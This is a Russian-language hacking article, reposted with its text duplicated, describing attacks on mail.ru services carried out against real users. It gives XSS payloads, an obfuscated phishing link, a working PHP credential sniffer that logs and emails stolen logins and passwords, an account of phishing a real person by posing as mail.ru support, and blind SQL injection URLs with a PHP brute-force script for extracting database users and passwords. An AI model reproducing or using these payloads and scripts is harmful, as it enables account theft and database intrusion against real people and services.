Весьма интересную статью нашел в сети по взлому mail.ru
Авторы статьи: brainw0rk & pixcher
Баги до сих пор актуальны.
[first day...]
2 часа ночи, я был готов пойти спать, но надо было проверить почту, зайдя к себе на мыльник (а
зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на
mail.ru, работает дерьмово, видимо спам это подарок от мэйл.ру. Что ж, как никак Новый Год скоро,
надо тоже сделать подарок для мэйл.ру
(Ясен перец не за красивый дизайн . Исследовав почтовый сервис я так ничиго и не нашел. Что ж
поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса
я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была
повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы.
Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной
уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре
картинок выскакивало popup окно, запомнив адрес (http://7ya.mail.ru/image.php?in=phot...=500&big_h=375)
я решил его подкорректировать, получилось вот что:
http://7ya.mail.ru/image.php?in="><font color=ORANGE size=10>Russian Net Hunters - Rulezzz</font>
Как видишь получилось - Russian Net Hunters Rulezzz
Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн, через
форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не
зарегистрирован, и тут мое внимание привлекла адресная строка:
http://talk.mail.ru/login.html?target=
Я решил проверить переменную target на XSS, набрав в адресной строке
http://talk.mail.ru/login.html?target=&quo...</script> я очень удивился и обрадовался
, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено
создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов
утра, и даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я
попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело.
[next day...]
На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк
форму, а также составил ядовитый урл:
http://talk.mail.ru/login.html?target=&quo...ef='Переадр есацию на нашу фэйк форму'</script>
В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры
чувствовали себя сухо и комфортно . В итоге урл принял такой вид:
http://talk.mail.ru/login.html?targe...72%69%70%74%3e
Далее был написан небольшой сниффер, который принимал переданные заничения, записывал их в файл и
перекидывал юзера к себе на почту, вот код сниффера:
файл sniffer.php:
Обратите внимание, как юзер попадает к себе на почту (строка 17)
<script>auth.submit();</script>
[create...]
Создание фэйка.
Это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form в
итоге данные, которые ввел юзер запишутся к тебе в файл, и произойдет редирект, удивленный юзер
решит, что произошли какие-нить сбои в работе службы DNS
[testing...]
Для проверки всего сказанного, я написал "жалостливое" письмо соей новой подружке от бедных
админов support@mail.ru c просьбой кликнуть по ссылке...и вскоре в файле logs.txt появилась
новая строчка...какая???не скажу =)
На следующий день, pixcher нашел sql-inj:
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9'
Ошибка выполнения запроса!
Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на
число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!!Абсолютно!!!
Моя радость увеличилась, когда я заметил, что запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' or 1=1/*
выполняется и выдаёт нам кучу мелодий на скачивание, а запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' or 1=2/*
выдаёт 0 => никакого списка рингтонов не отображает =)
а это значит то, что можно посимвольно брутить поля базы данных!!!
для начало попробуем сбрутить имя пользователя БД user()
SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр
запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' AND lower(substring(user(),1,1))="a"/*
не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(
первый символ я подобрал вручную, запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' AND lower(substring(user(),1,1))="i"/*
выдавал мне полный перечень музона, и я понял, что для облегчения этого беспонтового ручного
перебора нужно писать скрипт...
Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы англицкого
алфафита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём
было выясненно, что такая страница содержит волшебное число 17107 ) то скрипт должен показать
нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие
substring(user(),2,1) и т.д.
Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP.
У меня получилось примерно так:
Запускаем наш скрипт и...
...видим имя пользователя БД: "inform@yavanna.mtu"
Попробуем вместо
$find="user()";
перебирать результаты подзапроса, например $find="(SELECT password from mysql.user LIMIT 1)";
запискаем скрипт, но он выдаёт...а хо-хо не хе-хе ("а хо-хо не хе-хе", - хакерский слэнг,
заменяющий фразу "а не хотити ли вы х*я?" - прим редактора )
эх..подзапросы к сожалению не поддерживаются в почтовой БД =(
Ничего сташного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:
http://mobile.mail.ru/catalog/catalog_mp3....nger_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"
но к этому моменту меня уже стало воротить от одной мысли о запрсе к БД, и я "вдруг" вспомнил,
что неправомерный доступ к конфидециальной информации карается законом =)
[end...]
Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка
на mail, так что ищи и удачи тебе!
Авторы статьи: brainw0rk & pixcher
Баги до сих пор актуальны.
[first day...]
2 часа ночи, я был готов пойти спать, но надо было проверить почту, зайдя к себе на мыльник (а
зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на
mail.ru, работает дерьмово, видимо спам это подарок от мэйл.ру. Что ж, как никак Новый Год скоро,
надо тоже сделать подарок для мэйл.ру
(Ясен перец не за красивый дизайн . Исследовав почтовый сервис я так ничиго и не нашел. Что ж
поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса
я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была
повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы.
Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной
уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре
картинок выскакивало popup окно, запомнив адрес (http://7ya.mail.ru/image.php?in=phot...=500&big_h=375)
я решил его подкорректировать, получилось вот что:
http://7ya.mail.ru/image.php?in="><font color=ORANGE size=10>Russian Net Hunters - Rulezzz</font>
Как видишь получилось - Russian Net Hunters Rulezzz
Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн, через
форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не
зарегистрирован, и тут мое внимание привлекла адресная строка:
http://talk.mail.ru/login.html?target=
Я решил проверить переменную target на XSS, набрав в адресной строке
http://talk.mail.ru/login.html?target=&quo...</script> я очень удивился и обрадовался
, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено
создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов
утра, и даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я
попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело.
[next day...]
На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк
форму, а также составил ядовитый урл:
http://talk.mail.ru/login.html?target=&quo...ef='Переадр есацию на нашу фэйк форму'</script>
В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры
чувствовали себя сухо и комфортно . В итоге урл принял такой вид:
http://talk.mail.ru/login.html?targe...72%69%70%74%3e
Далее был написан небольшой сниффер, который принимал переданные заничения, записывал их в файл и
перекидывал юзера к себе на почту, вот код сниффера:
файл sniffer.php:
Код:
(1) <?
(2) $adminmail = "mymail@mail.ru";
(3) function email($to,$mailtext) {
(4) mail($to,'password',$mailtext,$adminmail);
(5) }
(6) $text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n";
(7) email($adminmail,$text);
(8) $file = fopen("logs.txt","a");
(9) flock($file,3);
(10) fputs($file, $text);
(11) flock($file,1);
(12) fclose($file);
(13)
(14) echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post>
(15) <INPUT type=hidden name=login value='$_POST[login]'>
(16) <INPUT type=hidden name=pass value='$_POST[pass]'>
(17) <script>auth.submit();</script>
(18) </FORM>";
(19) ?>
Обратите внимание, как юзер попадает к себе на почту (строка 17)
<script>auth.submit();</script>
[create...]
Создание фэйка.
Это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form в
итоге данные, которые ввел юзер запишутся к тебе в файл, и произойдет редирект, удивленный юзер
решит, что произошли какие-нить сбои в работе службы DNS
[testing...]
Для проверки всего сказанного, я написал "жалостливое" письмо соей новой подружке от бедных
админов support@mail.ru c просьбой кликнуть по ссылке...и вскоре в файле logs.txt появилась
новая строчка...какая???не скажу =)
На следующий день, pixcher нашел sql-inj:
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9'
Ошибка выполнения запроса!
Код:
SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9''
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1
Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на
число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!!Абсолютно!!!
Моя радость увеличилась, когда я заметил, что запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' or 1=1/*
выполняется и выдаёт нам кучу мелодий на скачивание, а запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' or 1=2/*
выдаёт 0 => никакого списка рингтонов не отображает =)
а это значит то, что можно посимвольно брутить поля базы данных!!!
для начало попробуем сбрутить имя пользователя БД user()
SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр
запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' AND lower(substring(user(),1,1))="a"/*
не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(
первый символ я подобрал вручную, запрос
http://mobile.mail.ru/catalog/catalog_mp3....inger_id=9' AND lower(substring(user(),1,1))="i"/*
выдавал мне полный перечень музона, и я понял, что для облегчения этого беспонтового ручного
перебора нужно писать скрипт...
Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы англицкого
алфафита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём
было выясненно, что такая страница содержит волшебное число 17107 ) то скрипт должен показать
нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие
substring(user(),2,1) и т.д.
Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP.
У меня получилось примерно так:
Код:
<?
#Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru)
set_time_limit(0); //пусть наш скрипт не обламывается, если перебор затягивается на длительное
время
$find="user()";# Искомая строка (здесь может быть любое поле БД в виде подзапроса)
$bruteline ='qwertyuiopasdfghjklzxcvbnm1234567890_+!@#\$%^&*\ '"()';#Предполагаем, что исходная
строка состоит только из этих символов
$k=1;#Номер символа, который мы брутим (изначально первый =))
#Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре
function get_page ($link){
$url = parse_url ($link);
$scr = $url['path'];
$scr .= ($url['query'] > "")?"?".$url['query']:"";
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:"";
$host .= $url['host'];
$port = ($url['port'] > "")?$url['port']:80;
$sock = fsockopen ($host, $port);
fputs ($sock, "GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n");
$cont = "";
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}
for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов
$link="http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'%20AND%20lower(substri ng($find,$k,1))=\"$bruteline[$i]\"/*";# Динамически изменяющийся запрос =)
$page=get_page($link);# Скачиваем страницу
if(strstr($page, "17107")){ # ...и если она содержит магическое число 17107...
echo "$bruteline[$i]"; # ...показываем найденный символ...
$i=0; # ...начинаем перебор заново...
$k++; # ...но для следующего символа
}}
?>
Запускаем наш скрипт и...
...видим имя пользователя БД: "inform@yavanna.mtu"
Попробуем вместо
$find="user()";
перебирать результаты подзапроса, например $find="(SELECT password from mysql.user LIMIT 1)";
запискаем скрипт, но он выдаёт...а хо-хо не хе-хе ("а хо-хо не хе-хе", - хакерский слэнг,
заменяющий фразу "а не хотити ли вы х*я?" - прим редактора )
эх..подзапросы к сожалению не поддерживаются в почтовой БД =(
Ничего сташного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:
http://mobile.mail.ru/catalog/catalog_mp3....nger_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"
но к этому моменту меня уже стало воротить от одной мысли о запрсе к БД, и я "вдруг" вспомнил,
что неправомерный доступ к конфидециальной информации карается законом =)
[end...]
Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка
на mail, так что ищи и удачи тебе!